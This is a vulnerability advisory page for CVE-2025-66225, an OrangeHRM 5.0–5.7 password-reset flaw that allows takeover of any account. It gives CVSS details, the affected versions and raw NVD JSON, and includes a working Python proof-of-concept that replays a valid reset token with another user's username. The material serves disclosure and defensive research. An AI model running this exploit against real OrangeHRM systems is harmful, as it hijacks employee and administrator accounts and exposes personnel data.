Security Vulnerability Report
中文
CVE-2025-66225 CVSS 8.8 HIGH

CVE-2025-66225

Published: 2025-11-29 04:15:58
Last Modified: 2025-12-03 16:51:01

Description

OrangeHRM is a comprehensive human resource management (HRM) system. From version 5.0 to 5.7, the password reset workflow does not enforce that the username submitted in the final reset request matches the account for which the reset process was originally initiated. After obtaining a valid reset link for any account they can receive email for, an attacker can alter the username parameter in the final reset request to target a different user. Because the system accepts the supplied username without verification, the attacker can set a new password for any chosen account, including privileged accounts, resulting in full account takeover. This issue has been patched in version 5.8.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:orangehrm:orangehrm:*:*:*:*:*:*:*:* - VULNERABLE
OrangeHRM 5.0
OrangeHRM 5.1
OrangeHRM 5.2
OrangeHRM 5.3
OrangeHRM 5.4
OrangeHRM 5.5
OrangeHRM 5.6
OrangeHRM 5.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-66225 PoC - OrangeHRM Password Reset Account Takeover # This PoC demonstrates the username mismatch vulnerability in password reset flow import requests import argparse def get_reset_token(target_email, orangehrm_url): """Step 1: Request password reset for attacker-controlled email""" reset_endpoint = f"{orangehrm_url}/index.php/auth/requestPasswordReset" data = { "username": target_email, "email": target_email } response = requests.post(reset_endpoint, data=data) return response.status_code == 200 def hijack_account(reset_token, target_username, new_password, orangehrm_url): """Step 2: Use token but change username to hijack target account""" reset_endpoint = f"{orangehrm_url}/index.php/auth/resetPassword" data = { "resetToken": reset_token, "username": target_username, # Attacker changes this to target user "password": new_password, "confirmPassword": new_password } response = requests.post(reset_endpoint, data=data) return response.status_code == 200 def main(): parser = argparse.ArgumentParser(description='CVE-2025-66225 PoC') parser.add_argument('--url', required=True, help='OrangeHRM URL') parser.add_argument('--attacker-email', required=True, help='Attacker email for receiving reset link') parser.add_argument('--target-user', required=True, help='Target username to hijack') parser.add_argument('--new-password', required=True, help='New password to set') args = parser.parse_args() print(f"[*] Step 1: Requesting password reset for {args.attacker_email}") if get_reset_token(args.attacker_email, args.url): print("[+] Reset email sent to attacker email") reset_token = input("[*] Enter the reset token from email: ") print(f"[*] Step 2: Hijacking account {args.target_user}") if hijack_account(reset_token, args.target_user, args.new_password, args.url): print(f"[+] Successfully changed password for {args.target_user}") else: print("[-] Failed to hijack account") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66225", "sourceIdentifier": "[email protected]", "published": "2025-11-29T04:15:57.740", "lastModified": "2025-12-03T16:51:00.817", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OrangeHRM is a comprehensive human resource management (HRM) system. From version 5.0 to 5.7, the password reset workflow does not enforce that the username submitted in the final reset request matches the account for which the reset process was originally initiated. After obtaining a valid reset link for any account they can receive email for, an attacker can alter the username parameter in the final reset request to target a different user. Because the system accepts the supplied username without verification, the attacker can set a new password for any chosen account, including privileged accounts, resulting in full account takeover. This issue has been patched in version 5.8."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-345"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-640"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:orangehrm:orangehrm:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.0", "versionEndExcluding": "5.8", "matchCriteriaId": "6B30DE92-57A2-492F-A3F3-B8EFEEBEFE70"}]}]}], "references": [{"url": "https://github.com/orangehrm/orangehrm/security/advisories/GHSA-5ghw-9775-v263", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}